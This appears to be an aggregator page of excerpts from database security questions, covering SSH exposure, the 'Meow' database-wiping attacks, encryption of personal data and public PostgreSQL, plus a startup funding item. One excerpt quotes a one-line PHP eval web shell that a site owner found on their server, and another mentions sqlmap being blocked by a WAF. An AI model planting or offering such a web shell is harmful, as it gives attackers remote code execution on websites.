Collaborate Disseminate
I have seen many answers to this question in different scenarios but I am still unsure of the actual answer.
I have a VM in the cloud (Azure), which will be hosting my production database. Is it safe to have port 22 open for my SSH connect… Continue reading Is it safe to expose port 22 on a database VM?
I have a small network of several Windows 10 machines (all protected by BitDefender 2020 Total Security), one of which acts as server with Firebird database.
For some time the database is deteriorating – in some random records some fields … Continue reading Virus / malware stored inside database
I am trying to use sqlmap. Although every time I use it, I just get a response of:
[13:39:11] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
[13:39:11] [INFO] testing if the target URL content … Continue reading sqlmap won’t give me results i’m looking for [closed]
Recently, there has been some news articles about unsolicited attacks on unsecured public facing Elastic and Mongo databases. These are commonly being called "Meow" attacks, resulting in entire databases being deleted without ran… Continue reading What is the Meow Attack and how can I guard my databases against it?
Snowflake is a cloud database like Google BigQuery or Amazon Redshift. Unlike them, however, it markets a "Secure Data Sharing" feature.
They go to some effort (including a full "Data Sharing for Dummies" book) to posit… Continue reading Does Snowflake Data Sharing add any real security?
I have found three files with name as below:
a.phpfile.txt
b.phpfile.txt
c.phpfile.txt
when i open, each file contained with the following code:
<?php @eval($_POST[x]);
I have deleted all the pages from my website, but i am ne… Continue reading .php code in .txt file with eval() function [duplicate]
QuestDB, a member of the Y Combinator summer 2020 cohort, is building an open source time series database with speed top of mind. Today the startup announced a $2.3 million seed round. Episode1 Ventures led the round with assistance from Seedcamp, 7percent Ventures, YCombinator, Kima Ventures and several unnamed angel investors. The database was originally […] Continue reading QuestDB nabs $2.3M seed to build open source time series database
I have a table in my database where I store records to be processed later (basically orders that need to be invoiced or something similar, but this is not the important part).
Since this software runs on-premises, admins control the databa… Continue reading Sign records in a database
Due to new laws in my country, any personal information must to be stored encrypted in the database.
So, to be able to perform querys over this data I was thinking to keep an in-memory copy of these tables with decrypted data.
For example,… Continue reading Is it safe to keep decrypted data in memory?
When auditing a machine for one of my clients I noticed that they have PostgreSQL listening and accessible from public network. This is not necessary for their application, seems they simply neglected to set up the firewall properly.
Postg… Continue reading What are the downsides to having PostgreSQL database available directly from public network?